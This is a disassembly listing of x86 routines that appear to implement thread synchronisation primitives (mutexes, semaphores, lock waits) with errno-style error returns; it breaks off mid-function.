mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
nop
call near ptr 2720B96h
test eax, eax
jnz short loc_432A82
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A82: ; CODE XREF: sub_4329F0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_432A8E: ; CODE XREF: sub_4329F0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A95: ; CODE XREF: sub_4329F0+19j
; sub_4329F0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_4329F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AD0 proc near ; CODE XREF: sub_40218Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_432B09
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_432B04
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_432B04
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_432B04: ; CODE XREF: sub_432AD0+1Bj
; sub_432AD0+23j
mov eax, 16h
loc_432B09: ; CODE XREF: sub_432AD0+12j
pop esi
retn
sub_432AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B20 proc near ; CODE XREF: sub_401438j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B33
cmp eax, 2
jg short loc_432B33
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_432B33: ; CODE XREF: sub_432B20+6j
; sub_432B20+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B60 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B73
cmp eax, 2
jg short loc_432B73
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_432B73: ; CODE XREF: sub_432B60+6j
; sub_432B60+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432BA0: ; CODE XREF: ___:00401AC8j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432BE5
call near ptr 2720B78h
nop
cmp esi, eax
jz short loc_432BE5
push esi
push 0
push 200h
nop
call near ptr 2770000h
test eax, eax
jnz short loc_432BE5
nop
call near ptr 27A0799h
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BE5: ; CODE XREF: ___:00432BA7j
; ___:00432BB1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432BFE
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BFE: ; CODE XREF: ___:00432BEBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432C30: ; CODE XREF: ___:0040150Aj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432C75
call near ptr 2720B78h
nop
cmp esi, eax
jz short loc_432C75
push esi
push 0
push 400h
nop
call near ptr 2770000h
test eax, eax
jnz short loc_432C75
call near ptr 27A0799h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432C75: ; CODE XREF: ___:00432C37j
; ___:00432C41j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432CA0: ; CODE XREF: ___:00401B4Aj
push 0
nop
call near ptr 2820000h
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432CC0 proc near ; CODE XREF: sub_401C76j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_432CDF
mov edi, 1
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432CDF: ; CODE XREF: sub_432CC0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432CF7
mov edi, 0Ch
loc_432CF7: ; CODE XREF: sub_432CC0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 2720519h
test eax, eax
mov [esi], eax
jnz short loc_432D24
mov edi, 1Ch
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D24: ; CODE XREF: sub_432CC0+4Fj
test edi, edi
jz short loc_432D36
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D36: ; CODE XREF: sub_432CC0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_432CC0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432D80 proc near ; CODE XREF: sub_401686j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_432DA5
mov esi, [edi]
test esi, esi
jz short loc_432DA5
mov dword ptr [edi], 0
mov eax, [esi]
push eax
nop
call near ptr 28207DAh
test eax, eax
jnz short loc_432DB7
mov [edi], esi
loc_432DA5: ; CODE XREF: sub_432D80+8j
; sub_432D80+Ej
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432DB7: ; CODE XREF: sub_432D80+21j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_432D80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DF0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E23
mov eax, [eax]
test eax, eax
jz short loc_432E23
mov eax, [eax]
push 0
push eax
nop
call near ptr 275086Bh
cmp eax, 102h
jnz short loc_432E35
mov esi, 0Bh
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E23: ; CODE XREF: sub_432DF0+7j
; sub_432DF0+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E35: ; CODE XREF: sub_432DF0+1Fj
xor eax, eax
pop esi
retn
sub_432DF0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E60 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E8D
mov eax, [eax]
test eax, eax
jz short loc_432E8D
mov eax, [eax]
push eax
call sub_401640
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432E8D: ; CODE XREF: sub_432E60+7j
; sub_432E60+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_432E60 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401898j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_432EF3
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432EF3: ; CODE XREF: sub_432ED0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_432F02
or ebx, 0FFFFFFFFh
jmp short loc_432F61
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
call near ptr 77C49113h
nop
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_432F61
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_432F61
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_432F61
dec ebx
loc_432F61: ; CODE XREF: sub_432ED0+30j
; sub_432ED0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D70
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_432FE0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
push 0
push 1
push eax
call near ptr 2720391h
nop
test eax, eax
jnz short loc_43300F
loc_432FFF: ; CODE XREF: sub_432FE0+6j
; sub_432FE0+Cj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_43300F: ; CODE XREF: sub_432FE0+1Dj
xor eax, eax
retn
sub_432FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433030 proc near ; CODE XREF: sub_40204Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_433056
mov eax, [eax]
test eax, eax
jz short loc_433056
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_433056
mov eax, [eax]
push 0
push ecx
push eax
nop
call near ptr 2720391h
test eax, eax
jnz short loc_433066
loc_433056: ; CODE XREF: sub_433030+6j
; sub_433030+Cj ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_433066: ; CODE XREF: sub_433030+24j
xor eax, eax
retn
sub_433030 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433080: ; CODE XREF: ___:00401433j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4330CD
mov esi, [eax]
test esi, esi
jz short loc_4330CD
mov edi, [esp+10h]
test edi, edi
jz short loc_4330CD
mov eax, [esi]
push 0
push eax
call near ptr 275086Bh
nop
cmp eax, 102h
jnz short loc_4330B1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330B1: ; CODE XREF: ___:004330A8j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 2720391h
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330CD: ; CODE XREF: ___:00433088j
; ___:0043308Ej ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433100: ; CODE XREF: ___:0040220Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433120: ; CODE XREF: ___:00402013j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433140: ; CODE XREF: ___:00401CB2j
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433160 proc near ; CODE XREF: sub_401992j
arg_0 = dword ptr 4
push esi
push offset dword_50E960
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_433194
push esi
push ecx
call sub_4021EE
add esp, 8
mov esi, eax
push offset dword_50E960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433194: ; CODE XREF: sub_433160+17j
test eax, eax
jnz short loc_43319D
mov esi, 16h
loc_43319D: ; CODE XREF: sub_433160+36j
push offset dword_50E960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_433160 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4331D0 proc near ; CODE XREF: sub_4021EEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4331EE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4331EE: ; CODE XREF: sub_4331D0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C26
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_433229
mov [esp+14h+var_4], 1
loc_43320B: ; CODE XREF: sub_4331D0+5Ej
; sub_4331D0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433240
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433229: ; CODE XREF: sub_4331D0+31j
cmp [esp+14h+var_4], 1
jle short loc_43320B
cmp ebx, 1
jnz short loc_43320B
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: sub_4331D0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43325D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: sub_4331D0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A0F
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433293
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_433293
mov dword ptr [esi], 3
loc_433293: ; CODE XREF: sub_4331D0+9Ej
; sub_4331D0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_4332AF
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4332AF: ; CODE XREF: sub_4331D0+D2j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4331D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433310: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4333B5
mov esi, [edi]
test esi, esi
jz loc_4333B5
cmp esi, 0FFFFFFFFh
jz short loc_433378
cmp dword ptr [esi], 3
jnz short loc_43335D
lea eax, [esi+4]
push eax
call sub_40222F
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4333AF
loc_433347: ; CODE XREF: ___:0043336Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43335D: ; CODE XREF: ___:00433333j
push 1
push 0
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 1
jz short loc_433347
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433378: ; CODE XREF: ___:0043332Ej
push offset dword_50E960
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43339F
push offset dword_50E960
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43339F: ; CODE XREF: ___:00433386j
push offset dword_50E960
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_4333AF: ; CODE XREF: ___:00433345j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4333B5: ; CODE XREF: ___:0043331Bj
; ___:00433325j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333F0: ; CODE XREF: ___:004021C1j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433451
mov eax, [esi]
test eax, eax
jz short loc_433451
cmp eax, 0FFFFFFFFh
jnz short loc_433411
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433456
loc_433411: ; CODE XREF: ___:00433402j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_433433
loc_433423: ; CODE XREF: ___:00433431j
push 1
push 2
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 2
jz short loc_433423
loc_433433: ; CODE XREF: ___:00433421j
mov eax, [esi]
cmp eax, 2
jnz short loc_43343E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43343E: ; CODE XREF: ___:00433438j
cmp eax, 3
jnz short loc_433451
add esi, 4
push esi
call sub_402225
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433451: ; CODE XREF: ___:004333F7j
; ___:004333FDj ...
mov eax, 16h
loc_433456: ; CODE XREF: ___:0043340Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433480: ; CODE XREF: ___:00401AA5j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4334C1
mov esi, [eax]
test esi, esi
jz short loc_4334C1
cmp esi, 0FFFFFFFFh
jnz short loc_43349B
loc_433494: ; CODE XREF: ___:004334A7j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43349B: ; CODE XREF: ___:00433492j
push 2
push 1
push esi
call dword_50E3EC ; InterlockedCompareExchange
dec eax
jz short loc_433494
dec eax
jz short loc_4334BD
dec eax
jnz short loc_4334C1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334BD: ; CODE XREF: ___:004334AAj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4334C1: ; CODE XREF: ___:00433487j
; ___:0043348Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:00401933j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433540
mov eax, [esi]
test eax, eax
jz short loc_433540
cmp eax, 0FFFFFFFFh
jnz short loc_433511
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433545
loc_433511: ; CODE XREF: ___:00433502j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3EC ; InterlockedCompareExchange
dec eax
jz short loc_43353C
dec eax
jz short loc_433535
dec eax
jnz short loc_433540
add esi, 4
push esi
call sub_40177B
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433535: ; CODE XREF: ___:00433522j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43353C: ; CODE XREF: ___:0043351Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433540: ; CODE XREF: ___:004334F7j
; ___:004334FDj ...
mov eax, 16h
loc_433545: ; CODE XREF: ___:0043350Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433570: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43359C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_433597
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433597: ; CODE XREF: ___:0043358Ej
xor eax, eax
mov [esi+20h], ecx
loc_43359C: ; CODE XREF: ___:00433582j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4335B0 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43363C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4335D4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335D4: ; CODE XREF: sub_4335B0+1Bj
push edi
push esi
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_4335ED
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335ED: ; CODE XREF: sub_4335B0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4335FD
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335FD: ; CODE XREF: sub_4335B0+41j
mov eax, [esi+4]
push eax
call sub_401640
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0C9DEE890h, 0C085022Eh, 0E8560E74h, 0FFFCE181h, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43363C: ; CODE XREF: sub_4335B0+12j
pop esi
retn
sub_4335B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433670 proc near ; CODE XREF: sub_4015FFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433695
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433695: ; CODE XREF: sub_433670+15j
call near ptr 271086Dh
nop
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4336BE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336BE: ; CODE XREF: sub_433670+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4336DB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336DB: ; CODE XREF: sub_433670+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_433670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433710 proc near ; CODE XREF: sub_401AA0j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_4337A0
cmp [ebx+0Ch], ebp
jz short loc_43377C
cmp [ebx+4], ebp
jz short loc_43377C
lea eax, [ebx+8]
push eax
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43377C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_43376F
push edi
loc_433743: ; CODE XREF: sub_433710+5Cj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43376A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_43376A: ; CODE XREF: sub_433710+3Ej
cmp esi, ebp
jnz short loc_433743
pop edi
loc_43376F: ; CODE XREF: sub_433710+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_43377C: ; CODE XREF: sub_433710+13j
; sub_433710+18j ...
mov eax, [ebx]
push eax
call near ptr 2710000h
nop
cmp [ebx+4], ebp
jz short loc_433796
lea ecx, [ebx+8]
push ecx
call sub_40222F
add esp, 4
loc_433796: ; CODE XREF: sub_433710+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4337A0: ; CODE XREF: sub_433710+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_433710 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4337E0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_50E3D8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_433804
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_433813
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433804: ; CODE XREF: sub_4337E0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_433813
mov eax, ebx
loc_433813: ; CODE XREF: sub_4337E0+1Aj
; sub_4337E0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_433875
test eax, eax
jz short loc_433862
mov ecx, [esi+4]
test ecx, ecx
jz short loc_433862
test ebx, ebx
jz short loc_433862
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_43384D
loc_433837: ; CODE XREF: sub_4337E0+65j
cmp [ecx+8], esi
jz short loc_433849
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_433837
jmp short loc_43384D
; ---------------------------------------------------------------------------
loc_433849: ; CODE XREF: sub_4337E0+5Aj
test ecx, ecx
jnz short loc_433862
loc_43384D: ; CODE XREF: sub_4337E0+55j
; sub_4337E0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DC5
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_433875
loc_433862: ; CODE XREF: sub_4337E0+3Cj
; sub_4337E0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 27303A4h
test eax, eax
jnz short loc_433875
mov edi, 0Bh
loc_433875: ; CODE XREF: sub_4337E0+38j
; sub_4337E0+80j ...
mov eax, edi
pop edi
pop esi
